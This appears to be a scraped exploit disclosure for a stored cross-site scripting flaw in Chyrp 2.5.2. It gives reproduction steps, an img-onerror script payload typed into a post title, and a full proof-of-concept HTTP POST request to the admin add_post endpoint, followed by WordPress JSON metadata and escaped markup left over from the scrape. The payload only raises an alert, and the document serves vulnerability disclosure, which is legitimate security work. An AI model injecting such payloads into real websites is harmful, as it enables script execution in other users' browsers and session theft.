# Chyrp 2.5.2 – Stored Cross-Site Scripting (XSS)
# Date: 2024-04-24
# Exploit Author: Ahmet \u00dcmit BAYRAM
# Vendor Homepage: https:\/\/github.com\/chyrp\/
# Software Link: https:\/\/github.com\/chyrp\/chyrp\/archive\/refs\/tags\/v2.5.2.zip
# Version: 2.5.2
# Tested on: MacOS<\/p>\n
### Steps to Reproduce ###<\/p>\n
– Login from the address: http:\/\/localhost\/chyrp\/?action=login.
– Click on ‘Write’.
– Type this payload into the ‘Title’ field: “><img src=x onerror=alert(
“Stored”)>
– Fill in the ‘Body’ area and click ‘Publish’.
– An alert message saying “Stored” will appear in front of you.<\/p>\n
### PoC Request ###<\/p>\n
POST \/chyrp\/admin\/?action=add_post HTTP\/1.1
Host: localhost
Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11;
show_more_options=true
User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko\/20100101 Firefox\/124.0
Accept:
text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,
*\/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart\/form-data;
boundary=—————————28307567523233313132815561598
Content-Length: 1194
Origin: http:\/\/localhost
Referer: http:\/\/localhost\/chyrp\/admin\/?action=write_post
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close<\/p>\n
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”title”<\/p>\n
“><img src=x onerror=alert(“Stored”)>
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”body”<\/p>\n
<p>1337<\/p>
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”status”<\/p>\n
public
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”slug”<\/p>\n
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”created_at”<\/p>\n
04\/24\/24 12:31:57
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”original_time”<\/p>\n
04\/24\/24 12:31:57
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”trackbacks”<\/p>\n
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”feather”<\/p>\n
text
—————————–28307567523233313132815561598
Content-Disposition: form-data; name=”hash”<\/p>\n
11e11aba15114f918ec1c2e6b8f8ddcf
—————————–28307567523233313132815561598–<\/p>\n","protected":false},"excerpt":{"rendered":"
# Chyrp 2.5.2 – Stored Cross-Site Scripting (XSS)# Date: 2024-04-24# Exploit Author: Ahmet \u00dcmit BAYRAM# Vendor Homepage: https:\/\/github.com\/chyrp\/# Software Link: https:\/\/github.com\/chyrp\/chyrp\/archive\/refs\/tags\/v2.5.2.zip# Version: 2.5.2# Tested on: MacOS ### Steps to Reproduce ### – Login from the address: http:\/\/localhost\/chyrp\/?action=login.– Click on ‘Write’.– Type this payload into the ‘Title’ field: “><img src=x onerror=alert(“Stored”)>– Fill in the ‘Body’ area …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56838","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56838","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56838"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56838\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56838"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56838"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56838"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}